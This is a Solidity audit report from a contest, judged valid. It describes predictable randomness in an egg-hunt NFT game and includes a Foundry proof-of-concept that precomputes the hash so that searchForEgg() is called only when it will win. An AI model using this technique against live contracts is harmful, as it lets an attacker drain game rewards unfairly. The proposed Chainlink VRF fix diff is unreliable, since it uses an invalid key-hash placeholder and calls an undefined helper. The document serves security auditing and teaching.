Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable RNG in searchForEgg()

Summary

The EggHuntGame contract uses predictable values to generate random numbers in searchForEgg(). This allows attackers to predict the outcome and guarantee egg wins by calling the function only when they know they will succeed.

Vulnerability Details

In EggHuntGame.sol, the function searchForEgg() uses the following formula to generate a random number:

uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
msg.sender,
eggCounter
)
)
) % 100;

Why is This Predictable?

  • block.timestamp: Can be manipulated by miners within a small range.

  • block.prevrandao: Somewhat random, but miners influence it in PoS Ethereum.

  • msg.sender: Fully controlled by the attacker.

  • eggCounter: Known value (tracked publicly).

Exploit Scenario:

  1. An attacker simulates searchForEgg() off-chain by inputting expected values into keccak256().

  2. They call searchForEgg() only when the output is below eggFindThreshold, guaranteeing an egg win.

  3. The attacker repeats this to farm unlimited eggs.

PoC

The following Foundry test demonstrates how to predict egg finds before calling the function:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "src/EggstravaganzaNFT.sol";
import "src/EggVault.sol";
import "src/EggHuntGame.sol";
contract PredictableRNGTest is Test {
EggstravaganzaNFT eggNFT;
EggVault eggVault;
EggHuntGame eggGame;
address deployer = address(this);
address player = address(0x1234);
uint256 startTime;
function setUp() public {
eggNFT = new EggstravaganzaNFT("EggNFT", "EGG");
eggVault = new EggVault();
eggGame = new EggHuntGame(address(eggNFT), address(eggVault));
eggNFT.setGameContract(address(eggGame));
eggVault.setEggNFT(address(eggNFT));
}
function testPredictableRNGExploit() public {
uint256 duration = 3600;
eggGame.startGame(duration);
startTime = block.timestamp;
vm.prank(player);
for (uint256 i = 0; i < 100; i++) {
vm.warp(startTime + i);
uint256 predictedRNG = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
player,
eggGame.eggCounter()
)
)
) % 100;
emit log_named_uint("Predicted RNG", predictedRNG);
if (predictedRNG < eggGame.eggFindThreshold()) {
eggGame.searchForEgg();
emit log("Exploit Success! Egg found.");
return;
}
}
emit log("Exploit Failed. RNG unfavorable.");
}
}

Expected Outcome: The attacker only calls searchForEgg() when success is guaranteed, bypassing fair play.

Impact

  • Fair players are disadvantaged, while attackers can farm eggs at will.

  • Game economy is ruined, as eggs lose their scarcity.

  • Trust in the system is broken, leading to potential abandonment by users.

Tools Used

  • Foundry

  • Manual Testing

Recommendations

To fix this, use Chainlink VRF (Verifiable Random Function) or an unpredictable, on-chain entropy source.

diff --git a/EggHuntGame.sol b/EggHuntGameSecure.sol
index abc123..def456 100644
--- a/EggHuntGame.sol
+++ b/EggHuntGameSecure.sol
@@ -1,6 +1,7 @@
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.23;
+import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import {EggstravaganzaNFT} from "./EggstravaganzaNFT.sol";
import {EggVault} from "./EggVault.sol";
-contract EggHuntGame is Ownable {
+contract EggHuntGame is Ownable, VRFConsumerBase {
/// @notice Minimum game duration in seconds.
uint256 public constant MIN_GAME_DURATION = 60;
@@ -10,6 +11,12 @@ contract EggHuntGame is Ownable {
bool public gameActive;
/// @notice References to the EggstravaganzaNFT and EggVault contracts.
+ bytes32 internal keyHash;
+ uint256 internal fee;
+
+ /// @notice Mapping to track random number requests
+ mapping(address => bytes32) public pendingEggRequests;
+
EggstravaganzaNFT public eggNFT;
EggVault public eggVault;
@@ -29,7 +36,18 @@ contract EggHuntGame is Ownable {
) Ownable(msg.sender) {
require(_eggNFTAddress != address(0), "Invalid NFT address");
require(_eggVaultAddress != address(0), "Invalid vault address");
+
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
eggVault = EggVault(_eggVaultAddress);
+
+ // Chainlink VRF Setup
+ keyHash = 0xVRFCoordinatorKeyHash; // Replace with actual key hash
+ fee = 0.1 * 10**18; // 0.1 LINK (adjust as needed)
}
- /// @notice Participants call this function to search for an egg.
- /// A pseudo-random number is generated and, if below the threshold, an egg is found.
+ /// @notice Players request an egg search (randomness requested from Chainlink VRF)
function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
@@ -38,13 +56,15 @@ contract EggHuntGame is Ownable {
require(block.timestamp <= endTime, "Game ended");
- // Pseudo-random number generation (INSECURE)
- uint256 random = uint256(
- keccak256(
- abi.encodePacked(
- block.timestamp,
- block.prevrandao,
- msg.sender,
- eggCounter
- )
- )
- ) % 100;
+ require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
+
+ // Request a secure random number
+ bytes32 requestId = requestRandomness(keyHash, fee);
+ pendingEggRequests[msg.sender] = requestId;
+ }
+ /// @notice Called by Chainlink VRF with the actual random number
+ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
+ address player = findPlayerByRequestId(requestId);
+ uint256 random = randomness % 100;
+
+ if (random < eggFindThreshold) {
+ eggCounter++;
+ eggsFound[player] += 1;
+ eggNFT.mintEgg(player, eggCounter);
+ emit EggFound(player, eggCounter, eggsFound[player]);
+ }
+ }
Updates

Lead Judging Commences

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.